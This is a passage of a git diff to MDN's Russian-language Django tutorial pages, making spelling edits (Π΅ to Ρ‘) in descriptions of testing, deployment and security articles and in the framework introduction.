Π΄Ρ€ΡƒΠ³ΠΈΠ΅ области. Один ΠΈΠ· способов ΡΠΌΡΠ³Ρ‡ΠΈΡ‚ΡŒ эти ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ - Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ тСсты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ Π»Π΅Π³ΠΊΠΎ ΠΈ Π½Π°Π΄Π΅ΠΆΠ½ΠΎ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ вноситС измСнСния. Π’ этом руководствС ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΊΠ°ΠΊ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠΎΠ΄ΡƒΠ»ΡŒΠ½ΠΎΠ΅ тСстированиС вашСго сайта с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ тСстовой срСды Django.</dd>
+ <dd>По ΠΌΠ΅Ρ€Π΅ роста Π²Π΅Π±-сайтов становится слоТнСС ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽΒ β€” трСбуСтся большС ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΎΠΊ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ взаимодСйствиС ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π°ΠΌΠΈ услоТняСтся, нСбольшоС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Π² ΠΎΠ΄Π½ΠΎΠΉ области ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅Β Ρ‚Π΅ΡΡ‚Ρ‹Β Π΄Π»Ρ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π΅Π³ΠΎ влияния Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ области. Один ΠΈΠ· способов ΡΠΌΡΠ³Ρ‡ΠΈΡ‚ΡŒ эти ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ - Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ тСсты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ Π»Π΅Π³ΠΊΠΎ ΠΈ Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ вноситС измСнСния. Π’ этом руководствС ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΊΠ°ΠΊ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠΎΠ΄ΡƒΠ»ΡŒΠ½ΠΎΠ΅ тСстированиС вашСго сайта с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ тСстовой срСды Django.</dd>
<dt><a href="/ru/docs/Learn/Server-side/Django/Deployment">Π£Ρ‡Π΅Π±Π½ΠΈΠΊ Django Ρ‡Π°ΡΡ‚ΡŒ 11: Π”Π΅ΠΏΠ»ΠΎΠΉ Django Π½Π° ΠΏΡ€ΠΎΠ΄Π°ΠΊΡˆΠ½</a></dt>
- <dd>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ создали (ΠΈ протСстировали) ΡƒΠ΄ΠΈΠ²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ сайт мСстной Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, Π²Π°ΠΌ захочСтся ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π½Π° общСдоступный Π²Π΅Π±-сСрвСр, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊ Π½Π΅ΠΌΡƒ ΠΌΠΎΠ³Β ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ пСрсонал библиотСки ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π°. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ прСдставлСн ΠΎΠ±Π·ΠΎΡ€ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ хост для развСртывания вашСго Π²Π΅Π±-сайта ΠΈ Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΈΡ‚ΡŒ ваш сайт ΠΊ выпуску.</dd>
+ <dd>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ создали (ΠΈ протСстировали) ΡƒΠ΄ΠΈΠ²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ сайт мСстной Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, Π²Π°ΠΌ захочСтся ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π½Π° общСдоступный Π²Π΅Π±-сСрвСр, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊ Π½Π΅ΠΌΡƒ ΠΌΠΎΠ³Β ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ пСрсонал библиотСки ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π°. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ прСдставлСн ΠΎΠ±Π·ΠΎΡ€ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ хост для развёртывания вашСго Π²Π΅Π±-сайта ΠΈ Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΈΡ‚ΡŒ ваш сайт ΠΊ выпуску.</dd>
<dt><a href="/ru/docs/Learn/Server-side/Django/web_application_security">Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Django</a></dt>
- <dd>Π—Π°Ρ‰ΠΈΡ‚Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ… являСтся Π½Π΅ΠΎΡ‚ΡŠΠ΅ΠΌΠ»Π΅ΠΌΠΎΠΉ Ρ‡Π°ΡΡ‚ΡŒΡŽ Π»ΡŽΠ±ΠΎΠΉΒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ сайта. Π Π°Π½Π΅Π΅ ΠΌΡ‹ объяснили Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнных ΡƒΠ³Ρ€ΠΎΠ· бСзопасности Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅Β <a href="https://developer.mozilla.org/ru/docs/Web/Security">Web security</a>Β β€” Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π΄Π°Π΅Ρ‚ ΠΏΡ€Π°ΠΊΡ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€Π°Ρ†ΠΈΡŽ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ встроСнныС срСдства Π·Π°Ρ‰ΠΈΡ‚Ρ‹ Django ΡΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ с такими угрозами.</dd>
+ <dd>Π—Π°Ρ‰ΠΈΡ‚Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ… являСтся Π½Π΅ΠΎΡ‚ΡŠΠ΅ΠΌΠ»Π΅ΠΌΠΎΠΉ Ρ‡Π°ΡΡ‚ΡŒΡŽ Π»ΡŽΠ±ΠΎΠΉΒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ сайта. Π Π°Π½Π΅Π΅ ΠΌΡ‹ объяснили Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённых ΡƒΠ³Ρ€ΠΎΠ· бСзопасности Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅Β <a href="https://developer.mozilla.org/ru/docs/Web/Security">Web security</a>Β β€” Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π΄Π°Ρ‘Ρ‚ ΠΏΡ€Π°ΠΊΡ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€Π°Ρ†ΠΈΡŽ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ встроСнныС срСдства Π·Π°Ρ‰ΠΈΡ‚Ρ‹ Django ΡΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ с такими угрозами.</dd>
</dl>
<h2 id="Задания">Задания</h2>
diff --git a/files/ru/learn/server-side/django/introduction/index.html b/files/ru/learn/server-side/django/introduction/index.html
index 29f854b94c..5bb12b1323 100644
--- a/files/ru/learn/server-side/django/introduction/index.html
+++ b/files/ru/learn/server-side/django/introduction/index.html
@@ -78,9 +78,9 @@ original_slug: Learn/Server-side/Django/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅
<p>Π’Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ часто ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ΄Π΅Π»ΠΈΡ‚ΡŒ Π½Π° "Π³ΠΈΠ±ΠΊΠΈΠ΅" ΠΈ "Π½Π΅Π³ΠΈΠ±ΠΊΠΈΠ΅".</p>
-<p>НСгибкиС - это Ρ‚Π΅, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΅ΡΡ‚ΡŒ "ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ" для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ Π·Π°Π΄Π°Ρ‡ΠΈ. Они часто ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ быстроС Ρ€Π°Π·Π²Ρ‘Ρ€Ρ‚Ρ‹Π²Π°Π½ΠΈΠ΅ Π² <em>ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ области</em> (Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°), ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ способ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Π»ΠΈΠ±ΠΎ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΎ понимаСтся ΠΈ Ρ…ΠΎΡ€ΠΎΡˆΠΎ докумСнтируСтся. Однако ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΌΠ΅Π½Π΅Π΅ Π³ΠΈΠ±ΠΊΠΈΠΌΠΈ ΠΏΡ€ΠΈ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ ΠΈΡ… основной сфСры ΠΈ, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΏΡ€Π΅Π΄Π»Π°Π³Π°ΡŽΡ‚ мСньшС Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΈΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ ΠΈ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Ρ‹ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ.</p>
+<p>НСгибкиС - это Ρ‚Π΅, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΅ΡΡ‚ΡŒ "ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ" для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ Π·Π°Π΄Π°Ρ‡ΠΈ. Они часто ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ быстроС Ρ€Π°Π·Π²Ρ‘Ρ€Ρ‚Ρ‹Π²Π°Π½ΠΈΠ΅ Π² <em>ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ области</em> (Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°), ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ способ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Π»ΠΈΠ±ΠΎ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΎ понимаСтся ΠΈ Ρ…ΠΎΡ€ΠΎΡˆΠΎ докумСнтируСтся. Однако ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΌΠ΅Π½Π΅Π΅ Π³ΠΈΠ±ΠΊΠΈΠΌΠΈ ΠΏΡ€ΠΈ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ ΠΈΡ… основной сфСры ΠΈ, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΏΡ€Π΅Π΄Π»Π°Π³Π°ΡŽΡ‚ мСньшС Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΈΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ ΠΈ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Ρ‹ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ.</p>
-<p>Напротив, Ρƒ Π³ΠΈΠ±ΠΊΠΈΡ… Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΎΠ² Π³ΠΎΡ€Π°Π·Π΄ΠΎ мСньшС ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ Π½Π° Π»ΡƒΡ‡ΡˆΠΈΠΉ способ склСивания ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² для достиТСния Ρ†Π΅Π»ΠΈ ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΈΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ. Они ΠΎΠ±Π»Π΅Π³Ρ‡Π°ΡŽΡ‚ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ использованиС Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ подходящих инструмСнтов для выполнСния ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ Π·Π°Π΄Π°Ρ‡ΠΈ, хотя ΠΈ Π·Π° счСт Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ самим Π½Π°ΠΉΡ‚ΠΈ эти ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹.</p>
+<p>Напротив, Ρƒ Π³ΠΈΠ±ΠΊΠΈΡ… Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΎΠ² Π³ΠΎΡ€Π°Π·Π΄ΠΎ мСньшС ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ Π½Π° Π»ΡƒΡ‡ΡˆΠΈΠΉ способ склСивания ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² для достиТСния Ρ†Π΅Π»ΠΈ ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΈΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ. Они ΠΎΠ±Π»Π΅Π³Ρ‡Π°ΡŽΡ‚ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ использованиС Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ подходящих инструмСнтов для выполнСния ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ Π·Π°Π΄Π°Ρ‡ΠΈ, хотя ΠΈ Π·Π° счёт Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ самим Π½Π°ΠΉΡ‚ΠΈ эти ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹.</p>
<p>Django Β«ΡƒΠΌΠ΅Ρ€Π΅Π½Π½ΠΎ Π³ΠΈΠ±ΠΊΠΈΠΉΒ» ΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, обСспСчиваСт Β«Π»ΡƒΡ‡ΡˆΠ΅Π΅ ΠΈΠ· ΠΎΠ±ΠΎΠΈΡ… ΠΌΠΈΡ€ΠΎΠ²Β». Он прСдоставляСт Π½Π°Π±ΠΎΡ€ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° Π·Π°Π΄Π°Ρ‡ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈ ΠΎΠ΄ΠΈΠ½ (ΠΈΠ»ΠΈ Π΄Π²Π°) ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… способа ΠΈΡ… использования. Однако такая Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Π° Django ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ ΠΈΠ· Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΎΠΏΡ†ΠΈΠΉ ΠΈΠ»ΠΈ ΠΏΡ€ΠΈ нСобходимости Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ для ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ Π½ΠΎΠ²Ρ‹Ρ….</p>
@@ -192,7 +192,7 @@ class Team(models.Model):
<p>МодСль Django прСдоставляСт простой API запросов для поиска Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…. Поиск ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡ‚ΡŒΡΡ ΠΏΠΎ нСскольким полям ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΊΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠΈ (Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ exact (Β«Ρ‚ΠΎΡ‡Π½Ρ‹ΠΉΒ»), case-insensitive (Β«Π±Π΅Π· ΡƒΡ‡Ρ‘Ρ‚Π° рСгистра»), greater than («большС Ρ‡Π΅ΠΌΒ») ΠΈ Ρ‚. Π΄.), ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ слоТныС выраТСния (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ поиск Π² ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ… U11, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΅ΡΡ‚ΡŒ имя ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹, Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰Π΅Π΅ΡΡ с Β«FrΒ» ΠΈΠ»ΠΈ заканчиваСтся Π½Π° Β«alΒ»).</p>
-<p>Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ΄Π° ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ viewΒ (ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ рСсурсов) для отобраТСния всСх ΠΊΠΎΠΌΠ°Π½Π΄Β U09. ВыдСлСнная ΠΆΠΈΡ€Π½Ρ‹ΠΌ строка ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ модСль API-запросов для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ²Π°Ρ‚ΡŒ всС записи, Π³Π΄Π΅ ΠΏΠΎΠ»Π΅Β <code>team_level</code>Β Π² точности содСрТит тСкст 'U09' (ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, ΠΊΠ°ΠΊ эти ΠΊΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>filter()</code> Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° с ΠΈΠΌΠ΅Π½Π΅ΠΌ поля ΠΈ Ρ‚ΠΈΠΏΠΎΠΌ соотвСтствия, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Π΄Π²ΠΎΠΉΠ½Ρ‹ΠΌ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ΠΌ: <strong>team_level__exact</strong>).Β </p>
+<p>Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ΄Π° ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ viewΒ (ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ рСсурсов) для отобраТСния всСх ΠΊΠΎΠΌΠ°Π½Π΄Β U09. ВыдСлСнная ΠΆΠΈΡ€Π½Ρ‹ΠΌ строка ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ модСль API-запросов для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ²Π°Ρ‚ΡŒ всС записи, Π³Π΄Π΅ ΠΏΠΎΠ»Π΅Β <code>team_level</code>Β Π² точности содСрТит тСкст 'U09' (ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, ΠΊΠ°ΠΊ эти ΠΊΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>filter()</code> Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° с ΠΈΠΌΠ΅Π½Π΅ΠΌ поля ΠΈ Ρ‚ΠΈΠΏΠΎΠΌ соотвСтствия, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Π΄Π²ΠΎΠΉΠ½Ρ‹ΠΌ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ΠΌ: <strong>team_level__exact</strong>).Β </p>
